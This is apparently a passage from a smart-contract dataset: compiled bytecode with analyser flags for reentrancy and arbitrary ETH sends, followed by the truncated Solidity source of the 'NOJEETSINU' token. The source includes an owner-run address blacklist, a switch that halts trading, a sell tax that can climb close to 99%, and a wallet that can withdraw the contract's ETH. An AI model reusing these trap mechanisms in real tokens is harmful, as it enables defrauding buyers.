00073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131190612f91565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138190612eb1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114689190612ff1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc90612f71565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90612e71565b60405180910390fd5b60008111611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90612f51565b60405180910390fd5b6115a0610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160e57506115de610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7157600e60179054906101000a900460ff1615611841573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116ea5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184057600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178a6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614806118005750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e86112a2565b73ffffffffffffffffffffffffffffffffffffffff16145b61183f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183690612fd1565b60405180910390fd5b5b5b600f5481111561185057600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f45750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fd57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fe5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a165750600e60179054906101000a900460ff165b15611ab75742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6657600080fd5b603c42611a739190613127565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac230610783565b9050600e60159054906101000a900460ff16158015611b2f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b475750600e60169054906101000a900460ff165b15611b6f57611b5581611d72565b60004790506000811115611b6d57611b6c47611c98565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c185750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2257600090505b611c2e84848484612131565b50505050565b6000838311158290611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c739190612e4f565b60405180910390fd5b5060008385611c8b9190613208565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d00573d6000803e3d6000fd5b5050565b6000600654821115611d4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4290612e91565b60405180910390fd5b6000611d5561215e565b9050611d6a81846120e790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dd0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfe5781602001602082028036833780820191505090505b5090503081600081518110611e3c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ede57600080fd5b505afa158015611ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1691906128be565b81600181518110611f50577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112aa565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201b95949392919061300c565b600060405180830381600087803b15801561203557600080fd5b505af1158015612049573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207f57600090506120e1565b6000828461208d91906131ae565b905082848261209c919061317d565b146120dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d390612f11565b60405180910390fd5b809150505b92915050565b600061212983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612189565b905092915050565b8061213f5761213e6121ec565b5b61214a84848461221d565b80612158576121576123e8565b5b50505050565b600080600061216b6123fa565b9150915061218281836120e790919063ffffffff16565b9250505090565b600080831182906121d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c79190612e4f565b60405180910390fd5b50600083856121df919061317d565b9050809150509392505050565b600060085414801561220057506000600954145b1561220a5761221b565b600060088190555060006009819055505b565b60008060008060008061222f8761245c565b95509550955095509550955061228d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236e8161256b565b6123788483612628565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d59190612ff1565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612430683635c9adc5dea000006006546120e790919063ffffffff16565b82101561244f57600654683635c9adc5dea00000935093505050612458565b81819350935050505b9091565b60008060008060008060008060006124788a6008546019612662565b925092509250600061248861215e565b9050600080600061249b8e8787876126f8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c34565b905092915050565b600080828461251c9190613127565b905083811015612561576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255890612ed1565b60405180910390fd5b8091505092915050565b600061257561215e565b9050600061258c828461206c90919063ffffffff16565b90506125e081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263d826006546124c390919063ffffffff16565b6006819055506126588160075461250d90919063ffffffff16565b6007819055505050565b60008060008061268e6064612680888a61206c90919063ffffffff16565b6120e790919063ffffffff16565b905060006126b860646126aa888b61206c90919063ffffffff16565b6120e790919063ffffffff16565b905060006126e1826126d3858c6124c390919063ffffffff16565b6124c390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612711858961206c90919063ffffffff16565b90506000612728868961206c90919063ffffffff16565b9050600061273f878961206c90919063ffffffff16565b905060006127688261275a85876124c390919063ffffffff16565b6124c390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279461278f846130a6565b613081565b905080838252602082019050828560208602820111156127b357600080fd5b60005b858110156127e357816127c988826127ed565b8452602084019350602083019250506001810190506127b6565b5050509392505050565b6000813590506127fc816136e4565b92915050565b600081519050612811816136e4565b92915050565b600082601f83011261282857600080fd5b8135612838848260208601612781565b91505092915050565b600081359050612850816136fb565b92915050565b600081519050612865816136fb565b92915050565b60008135905061287a81613712565b92915050565b60008151905061288f81613712565b92915050565b6000602082840312156128a757600080fd5b60006128b5848285016127ed565b91505092915050565b6000602082840312156128d057600080fd5b60006128de84828501612802565b91505092915050565b600080604083850312156128fa57600080fd5b6000612908858286016127ed565b9250506020612919858286016127ed565b9150509250929050565b60008060006060848603121561293857600080fd5b6000612946868287016127ed565b9350506020612957868287016127ed565b92505060406129688682870161286b565b9150509250925092565b6000806040838503121561298557600080fd5b6000612993858286016127ed565b92505060206129a48582860161286b565b9150509250929050565b6000602082840312156129c057600080fd5b600082013567ffffffffffffffff8111156129da57600080fd5b6129e684828501612817565b91505092915050565b600060208284031215612a0157600080fd5b6000612a0f84828501612841565b91505092915050565b600060208284031215612a2a57600080fd5b6000612a3884828501612856565b91505092915050565b600060208284031215612a5357600080fd5b6000612a618482850161286b565b91505092915050565b600080600060608486031215612a7f57600080fd5b6000612a8d86828701612880565b9350506020612a9e86828701612880565b9250506040612aaf86828701612880565b9150509250925092565b6000612ac58383612ad1565b60208301905092915050565b612ada8161323c565b82525050565b612ae98161323c565b82525050565b6000612afa826130e2565b612b048185613105565b9350612b0f836130d2565b8060005b83811015612b40578151612b278882612ab9565b9750612b32836130f8565b925050600181019050612b13565b5085935050505092915050565b612b568161324e565b82525050565b612b6581613291565b82525050565b6000612b76826130ed565b612b808185613116565b9350612b908185602086016132a3565b612b99816133dd565b840191505092915050565b6000612bb1602383613116565b9150612bbc826133ee565b604082019050919050565b6000612bd4602a83613116565b9150612bdf8261343d565b604082019050919050565b6000612bf7602283613116565b9150612c028261348c565b604082019050919050565b6000612c1a601b83613116565b9150612c25826134db565b602082019050919050565b6000612c3d601d83613116565b9150612c4882613504565b602082019050919050565b6000612c60602183613116565b9150612c6b8261352d565b604082019050919050565b6000612c83602083613116565b9150612c8e8261357c565b602082019050919050565b6000612ca6602983613116565b9150612cb1826135a5565b604082019050919050565b6000612cc9602583613116565b9150612cd4826135f4565b604082019050919050565b6000612cec602483613116565b9150612cf782613643565b604082019050919050565b6000612d0f601783613116565b9150612d1a82613692565b602082019050919050565b6000612d32601183613116565b9150612d3d826136bb565b602082019050919050565b612d518161327a565b82525050565b612d6081613284565b82525050565b6000602082019050612d7b6000830184612ae0565b92915050565b6000604082019050612d966000830185612ae0565b612da36020830184612ae0565b9392505050565b6000604082019050612dbf6000830185612ae0565b612dcc6020830184612d48565b9392505050565b600060c082019050612de86000830189612ae0565b612df56020830188612d48565b612e026040830187612b5c565b612e0f6060830186612b5c565b612e1c6080830185612ae0565b612e2960a0830184612d48565b979650505050505050565b6000602082019050612e496000830184612b4d565b92915050565b60006020820190508181036000830152612e698184612b6b565b905092915050565b60006020820190508181036000830152612e8a81612ba4565b9050919050565b60006020820190508181036000830152612eaa81612bc7565b9050919050565b60006020820190508181036000830152612eca81612bea565b9050919050565b60006020820190508181036000830152612eea81612c0d565b9050919050565b60006020820190508181036000830152612f0a81612c30565b9050919050565b60006020820190508181036000830152612f2a81612c53565b9050919050565b60006020820190508181036000830152612f4a81612c76565b9050919050565b60006020820190508181036000830152612f6a81612c99565b9050919050565b60006020820190508181036000830152612f8a81612cbc565b9050919050565b60006020820190508181036000830152612faa81612cdf565b9050919050565b60006020820190508181036000830152612fca81612d02565b9050919050565b60006020820190508181036000830152612fea81612d25565b9050919050565b60006020820190506130066000830184612d48565b92915050565b600060a0820190506130216000830188612d48565b61302e6020830187612b5c565b81810360408301526130408186612aef565b905061304f6060830185612ae0565b61305c6080830184612d48565b9695505050505050565b600060208201905061307b6000830184612d57565b92915050565b600061308b61309c565b905061309782826132d6565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c1576130c06133ae565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131328261327a565b915061313d8361327a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561317257613171613350565b5b828201905092915050565b60006131888261327a565b91506131938361327a565b9250826131a3576131a261337f565b5b828204905092915050565b60006131b98261327a565b91506131c48361327a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fd576131fc613350565b5b828202905092915050565b60006132138261327a565b915061321e8361327a565b92508282101561323157613230613350565b5b828203905092915050565b60006132478261325a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329c8261327a565b9050919050565b60005b838110156132c15780820151818401526020810190506132a6565b838111156132d0576000848401525b50505050565b6132df826133dd565b810181811067ffffffffffffffff821117156132fe576132fd6133ae565b5b80604052505050565b60006133128261327a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561334557613344613350565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ed8161323c565b81146136f857600080fd5b50565b6137048161324e565b811461370f57600080fd5b50565b61371b8161327a565b811461372657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209a4d97266a2d28b85dad610151c48256f3658fa7fe72dc8fa4d91348d4f3ff8d64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,902 |
0x03537b4bf7fa963f33ea88dc89257ab5cfddf023 | /**
*Submitted for verification at Etherscan.io on 2022-04-05
*/
// SPDX-License-Identifier: Unlicensed
//https://t.me/nojeetsinu
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract NOJEETSINU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "NOJEETSINU";
string private constant _symbol = "NOJEETSINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 public endTime;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 11;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress ;
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
bool private noJeetMode = false;
uint256 public _startingPrice;
uint256 public _maxTxAmount = 1e8 * 10**9;
uint256 public _maxWalletSize = 2e8 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
uint256 public _minimumBuyAmount = 1e8 * 10**9 ;
uint256 public _burnTokenCount = 0;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 20 minutes) {
require(amount <= _minimumBuyAmount);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
if(noJeetMode){
if(getPrice()>_startingPrice.mul(100)|| block.timestamp > launchTime + 30 days ){
noJeetMode = false;
}
else{
uint256 burnRate = 100;
burnRate = burnRate.sub(getPrice().div(_startingPrice));
require(burnRate < 89);
_taxFee += burnRate;
_burnTokenCount += amount.mul(burnRate).div(100);
}
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchTime = block.timestamp;
noJeetMode = true;
_startingPrice = getPrice();
endTime = block.timestamp + 30 days;
}
function getPrice() public view returns (uint256){
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
uint256 amount = 10 ** _decimals;
uint256 tokenPrice = uniswapV2Router.getAmountsOut(amount, path)[1];
return tokenPrice;
}
function setNoJeetMode(bool onoff) external onlyOwner{
noJeetMode = onoff;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
